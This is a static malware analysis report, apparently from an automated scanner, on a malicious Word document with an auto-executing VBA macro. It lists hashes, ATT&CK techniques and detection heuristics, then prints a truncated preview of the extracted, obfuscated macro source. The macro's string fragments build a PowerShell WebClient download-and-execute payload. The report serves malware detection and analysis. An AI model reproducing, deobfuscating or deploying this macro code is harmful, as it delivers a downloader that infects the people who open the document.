Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b01b4536b4211280…

MALICIOUS

Office (OLE)

142.5 KB Created: 2017-12-07 05:49:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: cc359a879e748cfb95d1d097c9671039 SHA-1: 0541438ef4ad161798182862a7ee5ff2b4f6ae14 SHA-256: b01b4536b42112800c59916770b78df94bd5e860c2de228215e7d54f18e35be5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file is a malicious Office document containing a VBA macro. The macro is configured to auto-execute upon opening, indicated by the 'AutoOpen' heuristic. Critical heuristics indicate the use of the Shell() function, suggesting the execution of external commands or payloads. The script itself contains obfuscated strings that, when reconstructed, likely form a URL for downloading a secondary payload, which is a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6394109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6394109-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52102 bytes
SHA-256: fcb42abea95ce30fd1a221064053489f5d9b476911846de2043f376f9938eadf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dlhMUdiIYLiQWm"
Function ZqiiJhczs()
iXnLPLzVdl = Array(UCase("qAvGuqNq" + "MMIaSFbUKfTZbw" + "lvAckinzWKB" + "GpqQWkjfrickEf" + "nTziPEUVwq"))
szQrRziQz = Mid("2kJi11PNT9DO+HLOver.HLO+HLOcom/HRM2z/,HiiPCtfiucVEIE3cGmj", 12, 28)
PTUlczIdnPf = Array(UCase("uoajstzh" + "zJwsKBdQw" + "DADoicwDmrYl" + "pSswCvlGjabrEr" + "CJGtwwT"))
ZocRU = Array(UCase("FQZPmPQJUiTP" + "ouQjCSPYFEziXc" + "rlTsamiPGbwN" + "uKuTDCtUnl" + "faMzMZlPn"))
TrDjSLt = Array(UCase("jJOplfbcQ" + "fFAUaoMdzc" + "VpmVraBojmV" + "PrZdYGEOBNm" + "ZijcEzQFinNUcT"))
ZmHYRmnsX = Mid("UJoFKt0LutIjljac4Io3chHLO+HLO{HLO+HLOwrite-HLO+HLOhost vqHLO+HLOL_.HLO+HLOExceptxW'+'9+x'+'W9HLO+HLOiHLO+HLOon.MeHLO+HLOsHLO+HLOsage;}HLO+HLO}HLO).repLACExW9+xIHTHFsGp", 21, 139)
TqPBz = Array(UCase("RjLbpLKiJHG" + "vdvJjaU" + "SEzBMzaiDhqh" + "qdbjrOrjpd" + "LaiiECsKuEL"))
qzrQXXpc = Array(UCase("EZnjmKakcALnXv" + "YHCswJqZk" + "WQwciFAEMzoO" + "AjwwHbsJtJU" + "GRkXkOACB"))
rplaHSMaDDI = Array(UCase("cnnCtZIu" + "iKmwATT" + "UZRJzttiJvY" + "HCGkBAvBRzjXo" + "ACGGbvJwFE"))
oXLVFAHun = Mid("fLZIzS);Invoke-IHLO+HLOtHLO+HLOem(vqLHLO+HLOhuHLO+HLOasxW9+xW9);HLO+HLObrHLO+HLO'+'eak;}caHLO+HLOtwA8vz0m", 7, 92)
dKizp = Array(UCase("uiHwvKiKw" + "KdCIzLjzrYc" + "bNYnQhcl" + "LcjpUqJfibjNt" + "cOcZZiC"))
QriONidKQb = Array(UCase("BiuuUkijGtfE" + "zAXRLXq" + "VXsqbCUdfKzBzz" + "BGzMFohjVz" + "JbYrlhO"))
LUFAZHshfj = Array(UCase("mIRQudN" + "IIfpXjuiwV" + "uDICsJWcBUrj" + "dhUoWiHjkfXOs" + "OLUwMAGXziGYG"))
MLHzf = Mid("kfRW9(HLOvqLHLO,[StRiNGkhIKaBVD9JwbrY6SzIiSjzUl2", 4, 20)
iNmqII = Array(UCase("fGCDshJGaihDC" + "dWLNKlFnrWsWts" + "nZQmIUP" + "CEfviHzouBMwCf" + "XdlsOfLVoR"))
bQWPIK = Array(UCase("AMCRZoLpMG" + "TNwJXkoA" + "IQhXiikGjp" + "zXkiXcFoEbYz" + "ktmINatRY"))
lmLKbCjpt = Array(UCase("StzLCvYQ" + "dQnnjRijwwvqi" + "FRCYJWAihoz" + "ihDPhSOdib" + "GsvRvIsMS"))
QwuCJNIjR = Mid("jfzG.WeHLO+HLObHLO+HLOClHLO+HLOiHLO+HLOeHLO+HLOntHLO+HLO;vqLHLO+HLOnsaHLO+HLOdHLO+H7QPQnoYMFCIGsBjpwrisV5k4G2FsVdBizEM", 5, 79)
MHZYFDI = Array(UCase("OkffmqDFFXYO" + "dQlviAwujRTnlw" + "sJvQZmVzszT" + "AWTbpWzIsbiORc" + "fSMsBubNwbHpI"))
iCSaXsPX = Array(UCase("NstzWPtpvjwnJ" + "zdjPdbBzdDwf" + "FFZochmUo" + "PKDVnnrP" + "jMTRZdjrm"))
GGKblVCTGj = Array(UCase("KzFYKkYFcCauBC" + "VkiQXIjBIlXZJt" + "uRlBbqvmhFbAw" + "lZAiHvLPv" + "pawzmmLOMmIJI"))
czucNdwZ = Mid("LPC33tzqwvLOtHLO+'+'HLOrantHLO+HLOhudHLO+HZasJNfT", 11, 32)
jHXJz = Array(UCase("OqDqBokWv" + "GXOJUUFZGN" + "mndwAlnA" + "sqAFZTMT" + "hDRvtML"))
LMtHmqAj = Array(UCase("aGawwLv" + "mkWMXuCz" + "iVwLAtzzvtN" + "KIcQzDAUMTjth" + "LaZPRLOGdnMoa"))
RpEYG = Array(UCase("qjvYwEsMMN" + "EtVrSCwpznBr" + "PNouARJlqzaiQ" + "mdkfNvwkYjRs" + "jQbhpoHJ"))
JwKLkVin = Mid("a4wsszRDjqjoqz8Wid5OU8Jw379),[StRing][cHaR]39)'+'.rEPlACe'+'(([cHaR]113+[cHaR]80+[cHaR]50),[StRing][cHaR]92).rEPlACe(([cHaR]70+[c'+'HaR]98+[cHaR]105),xW9N14irl6MJWPbIujzF", 26, 131)
lsiGZQQKYRo = Array(UCase("cwASiUcc" + "wXqCdSLmCiNiXa" + "bBZDfpDKdor" + "SRLMLjhdr" + "JkoRBJKMiFY"))
jdzTm = Array(UCase("PwMvEANwuNBP" + "MMInwpip" + "cHGdVOQk" + "JdDNlSSrwWclE" + "uUDOYCsRitHWE"))
IiEjUCrNI = Array(UCase("lwncSNwoaaA" + "ztKbrnYkRuqRD" + "OMJBIRciURaAwF" + "HBGwVQJdGp" + "BlOqHVZ"))
lPpOzUHKvz = Mid("tfW5GK8h((' (xW9 (HLOvHLO+HLOqHLO+HLOxW9+xW9LfHLO+HLOrancHLO+HLO = HLO+HLOnew-objeHLO+HLOct HLO+HLOSHLO+HLOysteHLO+HL'+'O'+'m.NetHLO+HLOV8VV4HVn3tbo4", 9, 128)
cXvnbjdHw = Array(UCase("afzjJXsmHzaqV" + "rINWXQM" + "SAriwrzK" + "POdQSXw" + "hwINDoihoaW"))
CnhlkMFumwc = Array(UCase("wmiZSjKSZt" + "roTMJtk" + "iiEjCLHPr" + "iJFbcGmcb" + "PLzkjFwMiYEzX"))
mGRBS = Array(UCase("aDfzRmzr" + "wsjczqjDU" + "dliAmjuK" + "mAJEPZmfVO" + "ItDaARBY"))
lMOKnqaNMEU = Mid("WJKoXs8Ebb][cHAR]36).repLACE(HLOSL8HLO,xW9+xW9[StRiNG][cHAR]39).repLACE(([cHAR]79+[cHAR]49+[cHAR]'+'105),'+'HL
... (truncated)

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